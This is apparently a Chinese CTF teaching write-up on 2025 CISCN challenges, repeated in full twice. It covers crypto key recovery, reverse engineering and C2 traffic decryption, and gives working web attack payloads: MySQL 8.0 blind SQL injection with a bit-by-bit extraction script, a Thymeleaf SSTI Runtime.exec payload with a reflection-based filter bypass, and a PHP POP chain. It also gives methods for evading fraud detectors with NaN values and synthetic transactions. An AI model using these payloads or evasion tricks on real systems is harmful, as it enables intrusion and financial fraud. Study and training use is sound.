2025 CISCN & 长城杯竞赛技术解析与教学文档
密码学部分
ECDSA 非随机数攻击
题目背景
题目基于ECDSA签名算法,使用固定的私钥和可预测的nonce值对60条消息进行签名。
核心原理
ECDSA签名公式:\(s = k^{-1}(e + d \cdot r) \mod n\)
其中:
- \(k\) 为nonce值
- \(e\) 为消息哈希
- \(d\) 为私钥
- \(r\) 为签名中的r值
- \(n\) 为曲线阶
攻击方法
由于nonce值可通过 \(k(i) = \text{sha512}(b"bias" + bytes([i])).int\) 预测,可直接恢复私钥:
\(d = (s \cdot k - e) \cdot r^{-1} \mod n\)
解题脚本
from hashlib import sha1, sha512
from ecdsa import NIST521p
n = NIST521p.order
L = 66
# 读取签名文件
line = next(ln for ln in open("./signatures.txt", "r", encoding="utf-8") if ln.strip())
mhex, shex = line.strip().split(":")
msg = bytes.fromhex(mhex)
sig = bytes.fromhex(shex)
# 计算参数
i = msg[-1]
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") % n
r = int.from_bytes(sig[:L], "big")
s = int.from_bytes(sig[L:], "big")
e = int.from_bytes(sha1(msg).digest(), "big")
# 恢复私钥
d = ((s * k - e) * pow(r, -1, n)) % n
print(hex(d))
EzFlag 斐波那契数列应用
算法分析
函数f(n)实现斐波那契数列取模16,具有周期性:f(n) ≡ f(n % 24)
关键发现
- 使用预计算字符串K = "012ab9c3478d56ef"作为映射表
- 循环变量v11通过公式更新:v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF
优化脚本
K = "012ab9c3478d56ef"
def f(n):
v5, v4 = 0, 1
for _ in range(n % 24): # 利用周期性优化
v5, v4 = v4, (v5 + v4) & 0xF
return K[v5]
v11, flag = 1, ""
for i in range(32):
flag += f(v11) + ("-" if i in [7,12,17,22] else "")
v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF
print(flag) # 输出: 10632674-1d219-09f29-14769-f60219a24
RSA_NestingDoll 复合RSA攻击
系统架构
- 内层RSA: n1 = p1 × q1 × r1 × s1(四个512位素数)
- 外层RSA: n = p × q × r × s(四个1024位素数)
特殊构造
外层素数生成方式:p-1 = p1 × t,其中t由20位小素数组成(平滑数)
Pollard p-1攻击变种
利用已知的n1作为p-1的部分因子,结合小素数平滑部分进行分解:
- 计算 \(E = n1 \times M\),其中M为所有≤2²⁰素数的乘积
- 对于任意底数a,计算 gcd(aᴱ - 1, n) 得到外层因子
- 通过gcd(p-1, n1)恢复内层素数
完整攻击流程
from math import gcd
from Crypto.Util.number import inverse, isPrime, long_to_bytes
def primes_upto(B):
"""生成所有≤B的素数"""
s = bytearray(b"\x01") * (B + 1)
s[0:2] = b"\x00\x00"
r = int(B**0.5)
for p in range(2, r + 1):
if s[p]:
s[p * p : B + 1 : p] = b"\x00" * (((B - p * p) // p) + 1)
return [i for i in range(2, B + 1) if s[i]]
def p1_stage1(N, A, B, base):
"""Pollard p-1攻击实现"""
x = pow(base, A, N)
for p in primes_upto(B):
pe = p
while pe * p <= B:
pe *= p
x = pow(x, pe, N)
g = gcd(x - 1, N)
if 1 < g < N:
return g
return None
逆向工程部分
wasm-login 时间戳爆破
系统分析
- 使用WebAssembly进行身份验证
- 依赖Date.now()函数获取时间戳
- 通过MD5哈希验证签名
攻击方法
重写Date.now()函数,爆破时间戳范围:
import { createHash } from "node:crypto";
import { authenticate } from "./build/release.js";
const P = "ccaf33e3512e31f3";
const u = "admin", p = "admin";
// 时间戳范围爆破
const s = new Date("2025-12-22T00:20:00+08:00").getTime();
const e = new Date("2025-12-22T01:10:00+08:00").getTime();
for (let t = s; t <= e; t++) {
Date.now = () => t; // 重写时间函数
const j = JSON.stringify(JSON.parse(authenticate(u, p)));
const h = createHash("md5").update(j).digest("hex");
if (h.startsWith(P)) {
console.log(h);
break;
}
}
babygame Godot游戏逆向
文件结构分析
- GDPC/GDSC: Godot引擎资源格式
- PCK: 打包资源文件
- GDScript: 编译后的脚本字节码
字节码解析
GDScript结构:
# 头部16字节
identifier_count (4 bytes)
constant_count (4 bytes)
line_count (4 bytes)
token_length (4 bytes)
# 标识符(每个字符XOR 0xB6)
length (4 bytes) + chars (每个字符4字节)
# 常量
count (4 bytes)
type (4 bytes) + data
AES密钥替换攻击
发现关键字符串:
- 原始密钥: "FanAglFanAglOoO!"
- 替换后: "FanBglFanBglOoO!"(A→B)
解密脚本:
from Crypto.Cipher import AES
key = b"FanBglFanBglOoO!"
ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt) # b'wOW~youAregrEaT!'
Eternum C2后门分析
流量特征
- Magic头部: "ET3RNUMX"
- 协议格式: 8字节magic + 4字节长度 + 加密数据
加密算法识别
通过字符串分析确定为AES-GCM模式:
- 密钥: "xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"
解密流程
from scapy.all import rdpcap, TCP, Raw
from Crypto.Cipher import AES
import base64, re
KEY = b'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7'
for pkt in rdpcap('tcp.pcap'):
if TCP in pkt and Raw in pkt:
raw = bytes(pkt[Raw].load)
if raw[:8] == b'ET3RNUMX':
enc = raw[12:]
nonce, ct, tag = enc[:12], enc[12:-16], enc[-16:]
pt = AES.new(KEY, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
# Base32解码隐藏内容
m = re.search(rb'MZWGCZ33[A-Z2-7]+=*', pt)
if m:
print(base64.b32decode(m.group()).decode())
Web安全部分
Ai-waf MySQL 8.0注入绕过
技术原理
利用MySQL 8.0的TABLE语句替代SELECT,结合exp()函数进行布尔盲注:
{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}
盲注脚本核心
def post_text(payload):
"""发送注入payload"""
data = {"query": payload}
resp = requests.post(url, json=data)
return resp.text
def get_flag_char(position, current_flag=""):
"""逐字符提取flag"""
low, high = 32, 127
while low < high:
mid = (low + high) // 2
test_char = chr(mid)
test_value = current_flag + test_char
# 构造比较payload
payload = f"0' || if((table where_is_my_flagggggg limit 0,1)>('{test_value}'),exp(710),1) || '1'='1"
result = post_text(payload)
if "error" in result.lower():
high = mid # 条件为真
else:
low = mid + 1 # 条件为假
return chr(low - 1) if low > 32 else None
EZ_JAVA Thymeleaf SSTI绕过
过滤绕过技术
常规payload被过滤:
${T(java.lang.Runtime).getRuntime().exec('whoami')}
反射+混淆绕过
// 列目录
''.getClass().forName('java.nio.file.Files')
.walk(''.getClass().forName('java.nio.file.Paths').get('/'), 1)
.collect(''.getClass().forName('java.util.stream.Collectors').toList())
// 读取文件
''.getClass().forName('java.nio.file.Files')
.readAllLines(''.getClass().forName('java.nio.file.Paths')
.get('/'+'fla'+'g'+'_y0u_d0nt_kn0w'))
hellogate PHP反序列化
POP链构造
A::triggerMethod()
→ echo $this->handle
→ B::__toString()
→ return $this->worker->result
→ C::__get()
→ file_get_contents($this->cmd)
利用payload生成
<?php
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }
$c = new C();
$c->cmd = "/flag";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
echo urlencode(serialize($a));
?>
流量分析部分
SnakeBackdoor系列
后门通信分析
- 初始入侵: 通过Flask SSTI漏洞植入Webshell
- RC4加密: 密钥为"v1p3r_5tr1k3_k3y"
- 二进制后门: 通过Webshell下载并执行
关键发现
- Web后门头验证: X-Token-Auth: 3011aa21232beb7504432bfa90d32779
- 进程名称: python3.13
- C2通信: 192.168.1.201:58782
自定义SM4算法逆向
密钥生成算法:
class Rand:
def __init__(s, seed):
s.r = [0]*32; s.r[1] = seed & 0xFFFFFFFF
for i in range(2,32):
s.r[i] = (16807*s.r[i-1]) % 2147483647
s.f, s.b = 4, 1
for _ in range(310): s.rand()
def rand(s):
v = (s.r[s.f] + s.r[s.b]) & 0xFFFFFFFF
s.r[s.f] = v
s.f = 1 if s.f>=31 else s.f+1
s.b = 1 if s.b>=31 else s.b+1
return (v>>1) & 0x7FFFFFFF
def gen_key(seed):
rng = Rand(seed)
return b''.join(struct.pack('<I', rng.rand()) for _ in range(4))
最终密钥: ac46fb610b313b4f32fc642d8834b456
AI安全部分
欺诈猎手的后门陷阱
NaN注入攻击
利用JSON中NaN值的特殊性质绕过检测:
- 在大多数语言中,
NaN > 0.9返回False NaN < 0也返回False
攻击payload
{
"trans_amount_usd": NaN,
"addr_deviation_score": NaN,
"trans_time_risk_score": NaN,
"merchant_code_hash": NaN,
"card_issuer_code": NaN,
"pos_terminal_id": NaN,
"transaction_type_code": NaN,
"cvv_verify_score": NaN,
"account_age_month": NaN,
"daily_trans_count": NaN
}
The Silent Heist 反欺诈绕过
隔离森林对抗
利用多元正态分布生成相似交易数据:
import numpy as np
from sklearn.ensemble import IsolationForest
# 计算统计参数
mean = np.mean(original_data, axis=0)
cov = np.cov(original_data, rowvar=False)
# 生成伪造数据
samples = np.random.multivariate_normal(mean, cov, size=n_samples)
# 本地预筛选
model = IsolationForest(contamination=0.05)
model.fit(original_data)
predictions = model.predict(samples)
normal_data = samples[predictions == 1]
关键技巧
- 去重处理: 避免与原始交易重复
- 金额控制: 确保总金额超过目标值
- 异常检测: 本地模拟服务器检测逻辑
总结
本教学文档详细分析了2025年CISCN竞赛中的关键技术点,涵盖了密码学攻击、逆向工程、Web安全、流量分析和AI安全等多个领域。重点技术包括:
- ECDSA非随机数攻击 - 利用可预测nonce恢复私钥
- RSA复合结构攻击 - Pollard p-1算法的变种应用
- Godot游戏逆向 - 字节码解析和AES密钥替换
- MySQL 8.0注入绕过 - TABLE语句和exp函数利用
- Thymeleaf SSTI绕过 - 反射和字符串混淆技术
- 流量分析取证 - 多层加密通信的解密技术
- AI模型对抗 - NaN注入和隔离森林绕过
这些技术在实际CTF竞赛和真实世界安全评估中都具有重要参考价值。
2025 CISCN & 长城杯竞赛技术解析与教学文档
密码学部分
ECDSA 非随机数攻击
题目背景
题目基于ECDSA签名算法,使用固定的私钥和可预测的nonce值对60条消息进行签名。
核心原理
ECDSA签名公式:\(s = k^{-1}(e + d \cdot r) \mod n\)
其中:
- \(k\) 为nonce值
- \(e\) 为消息哈希
- \(d\) 为私钥
- \(r\) 为签名中的r值
- \(n\) 为曲线阶
攻击方法
由于nonce值可通过 \(k(i) = \text{sha512}(b"bias" + bytes([i])).int\) 预测,可直接恢复私钥:
\(d = (s \cdot k - e) \cdot r^{-1} \mod n\)
解题脚本
from hashlib import sha1, sha512
from ecdsa import NIST521p
n = NIST521p.order
L = 66
# 读取签名文件
line = next(ln for ln in open("./signatures.txt", "r", encoding="utf-8") if ln.strip())
mhex, shex = line.strip().split(":")
msg = bytes.fromhex(mhex)
sig = bytes.fromhex(shex)
# 计算参数
i = msg[-1]
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") % n
r = int.from_bytes(sig[:L], "big")
s = int.from_bytes(sig[L:], "big")
e = int.from_bytes(sha1(msg).digest(), "big")
# 恢复私钥
d = ((s * k - e) * pow(r, -1, n)) % n
print(hex(d))
EzFlag 斐波那契数列应用
算法分析
函数f(n)实现斐波那契数列取模16,具有周期性:f(n) ≡ f(n % 24)
关键发现
- 使用预计算字符串K = "012ab9c3478d56ef"作为映射表
- 循环变量v11通过公式更新:v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF
优化脚本
K = "012ab9c3478d56ef"
def f(n):
v5, v4 = 0, 1
for _ in range(n % 24): # 利用周期性优化
v5, v4 = v4, (v5 + v4) & 0xF
return K[v5]
v11, flag = 1, ""
for i in range(32):
flag += f(v11) + ("-" if i in [7,12,17,22] else "")
v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF
print(flag) # 输出: 10632674-1d219-09f29-14769-f60219a24
RSA_NestingDoll 复合RSA攻击
系统架构
- 内层RSA: n1 = p1 × q1 × r1 × s1(四个512位素数)
- 外层RSA: n = p × q × r × s(四个1024位素数)
特殊构造
外层素数生成方式:p-1 = p1 × t,其中t由20位小素数组成(平滑数)
Pollard p-1攻击变种
利用已知的n1作为p-1的部分因子,结合小素数平滑部分进行分解:
- 计算 \(E = n1 \times M\),其中M为所有≤2²⁰素数的乘积
- 对于任意底数a,计算 gcd(aᴱ - 1, n) 得到外层因子
- 通过gcd(p-1, n1)恢复内层素数
完整攻击流程
from math import gcd
from Crypto.Util.number import inverse, isPrime, long_to_bytes
def primes_upto(B):
"""生成所有≤B的素数"""
s = bytearray(b"\x01") * (B + 1)
s[0:2] = b"\x00\x00"
r = int(B**0.5)
for p in range(2, r + 1):
if s[p]:
s[p * p : B + 1 : p] = b"\x00" * (((B - p * p) // p) + 1)
return [i for i in range(2, B + 1) if s[i]]
def p1_stage1(N, A, B, base):
"""Pollard p-1攻击实现"""
x = pow(base, A, N)
for p in primes_upto(B):
pe = p
while pe * p <= B:
pe *= p
x = pow(x, pe, N)
g = gcd(x - 1, N)
if 1 < g < N:
return g
return None
逆向工程部分
wasm-login 时间戳爆破
系统分析
- 使用WebAssembly进行身份验证
- 依赖Date.now()函数获取时间戳
- 通过MD5哈希验证签名
攻击方法
重写Date.now()函数,爆破时间戳范围:
import { createHash } from "node:crypto";
import { authenticate } from "./build/release.js";
const P = "ccaf33e3512e31f3";
const u = "admin", p = "admin";
// 时间戳范围爆破
const s = new Date("2025-12-22T00:20:00+08:00").getTime();
const e = new Date("2025-12-22T01:10:00+08:00").getTime();
for (let t = s; t <= e; t++) {
Date.now = () => t; // 重写时间函数
const j = JSON.stringify(JSON.parse(authenticate(u, p)));
const h = createHash("md5").update(j).digest("hex");
if (h.startsWith(P)) {
console.log(h);
break;
}
}
babygame Godot游戏逆向
文件结构分析
- GDPC/GDSC: Godot引擎资源格式
- PCK: 打包资源文件
- GDScript: 编译后的脚本字节码
字节码解析
GDScript结构:
# 头部16字节
identifier_count (4 bytes)
constant_count (4 bytes)
line_count (4 bytes)
token_length (4 bytes)
# 标识符(每个字符XOR 0xB6)
length (4 bytes) + chars (每个字符4字节)
# 常量
count (4 bytes)
type (4 bytes) + data
AES密钥替换攻击
发现关键字符串:
- 原始密钥: "FanAglFanAglOoO!"
- 替换后: "FanBglFanBglOoO!"(A→B)
解密脚本:
from Crypto.Cipher import AES
key = b"FanBglFanBglOoO!"
ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt) # b'wOW~youAregrEaT!'
Eternum C2后门分析
流量特征
- Magic头部: "ET3RNUMX"
- 协议格式: 8字节magic + 4字节长度 + 加密数据
加密算法识别
通过字符串分析确定为AES-GCM模式:
- 密钥: "xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"
解密流程
from scapy.all import rdpcap, TCP, Raw
from Crypto.Cipher import AES
import base64, re
KEY = b'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7'
for pkt in rdpcap('tcp.pcap'):
if TCP in pkt and Raw in pkt:
raw = bytes(pkt[Raw].load)
if raw[:8] == b'ET3RNUMX':
enc = raw[12:]
nonce, ct, tag = enc[:12], enc[12:-16], enc[-16:]
pt = AES.new(KEY, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
# Base32解码隐藏内容
m = re.search(rb'MZWGCZ33[A-Z2-7]+=*', pt)
if m:
print(base64.b32decode(m.group()).decode())
Web安全部分
Ai-waf MySQL 8.0注入绕过
技术原理
利用MySQL 8.0的TABLE语句替代SELECT,结合exp()函数进行布尔盲注:
{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}
盲注脚本核心
def post_text(payload):
"""发送注入payload"""
data = {"query": payload}
resp = requests.post(url, json=data)
return resp.text
def get_flag_char(position, current_flag=""):
"""逐字符提取flag"""
low, high = 32, 127
while low < high:
mid = (low + high) // 2
test_char = chr(mid)
test_value = current_flag + test_char
# 构造比较payload
payload = f"0' || if((table where_is_my_flagggggg limit 0,1)>('{test_value}'),exp(710),1) || '1'='1"
result = post_text(payload)
if "error" in result.lower():
high = mid # 条件为真
else:
low = mid + 1 # 条件为假
return chr(low - 1) if low > 32 else None
EZ_JAVA Thymeleaf SSTI绕过
过滤绕过技术
常规payload被过滤:
${T(java.lang.Runtime).getRuntime().exec('whoami')}
反射+混淆绕过
// 列目录
''.getClass().forName('java.nio.file.Files')
.walk(''.getClass().forName('java.nio.file.Paths').get('/'), 1)
.collect(''.getClass().forName('java.util.stream.Collectors').toList())
// 读取文件
''.getClass().forName('java.nio.file.Files')
.readAllLines(''.getClass().forName('java.nio.file.Paths')
.get('/'+'fla'+'g'+'_y0u_d0nt_kn0w'))
hellogate PHP反序列化
POP链构造
A::triggerMethod()
→ echo $this->handle
→ B::__toString()
→ return $this->worker->result
→ C::__get()
→ file_get_contents($this->cmd)
利用payload生成
<?php
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }
$c = new C();
$c->cmd = "/flag";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
echo urlencode(serialize($a));
?>
流量分析部分
SnakeBackdoor系列
后门通信分析
- 初始入侵: 通过Flask SSTI漏洞植入Webshell
- RC4加密: 密钥为"v1p3r_5tr1k3_k3y"
- 二进制后门: 通过Webshell下载并执行
关键发现
- Web后门头验证: X-Token-Auth: 3011aa21232beb7504432bfa90d32779
- 进程名称: python3.13
- C2通信: 192.168.1.201:58782
自定义SM4算法逆向
密钥生成算法:
class Rand:
def __init__(s, seed):
s.r = [0]*32; s.r[1] = seed & 0xFFFFFFFF
for i in range(2,32):
s.r[i] = (16807*s.r[i-1]) % 2147483647
s.f, s.b = 4, 1
for _ in range(310): s.rand()
def rand(s):
v = (s.r[s.f] + s.r[s.b]) & 0xFFFFFFFF
s.r[s.f] = v
s.f = 1 if s.f>=31 else s.f+1
s.b = 1 if s.b>=31 else s.b+1
return (v>>1) & 0x7FFFFFFF
def gen_key(seed):
rng = Rand(seed)
return b''.join(struct.pack('<I', rng.rand()) for _ in range(4))
最终密钥: ac46fb610b313b4f32fc642d8834b456
AI安全部分
欺诈猎手的后门陷阱
NaN注入攻击
利用JSON中NaN值的特殊性质绕过检测:
- 在大多数语言中,
NaN > 0.9返回False NaN < 0也返回False
攻击payload
{
"trans_amount_usd": NaN,
"addr_deviation_score": NaN,
"trans_time_risk_score": NaN,
"merchant_code_hash": NaN,
"card_issuer_code": NaN,
"pos_terminal_id": NaN,
"transaction_type_code": NaN,
"cvv_verify_score": NaN,
"account_age_month": NaN,
"daily_trans_count": NaN
}
The Silent Heist 反欺诈绕过
隔离森林对抗
利用多元正态分布生成相似交易数据:
import numpy as np
from sklearn.ensemble import IsolationForest
# 计算统计参数
mean = np.mean(original_data, axis=0)
cov = np.cov(original_data, rowvar=False)
# 生成伪造数据
samples = np.random.multivariate_normal(mean, cov, size=n_samples)
# 本地预筛选
model = IsolationForest(contamination=0.05)
model.fit(original_data)
predictions = model.predict(samples)
normal_data = samples[predictions == 1]
关键技巧
- 去重处理: 避免与原始交易重复
- 金额控制: 确保总金额超过目标值
- 异常检测: 本地模拟服务器检测逻辑
总结
本教学文档详细分析了2025年CISCN竞赛中的关键技术点,涵盖了密码学攻击、逆向工程、Web安全、流量分析和AI安全等多个领域。重点技术包括:
- ECDSA非随机数攻击 - 利用可预测nonce恢复私钥
- RSA复合结构攻击 - Pollard p-1算法的变种应用
- Godot游戏逆向 - 字节码解析和AES密钥替换
- MySQL 8.0注入绕过 - TABLE语句和exp函数利用
- Thymeleaf SSTI绕过 - 反射和字符串混淆技术
- 流量分析取证 - 多层加密通信的解密技术
- AI模型对抗 - NaN注入和隔离森林绕过
这些技术在实际CTF竞赛和真实世界安全评估中都具有重要参考价值。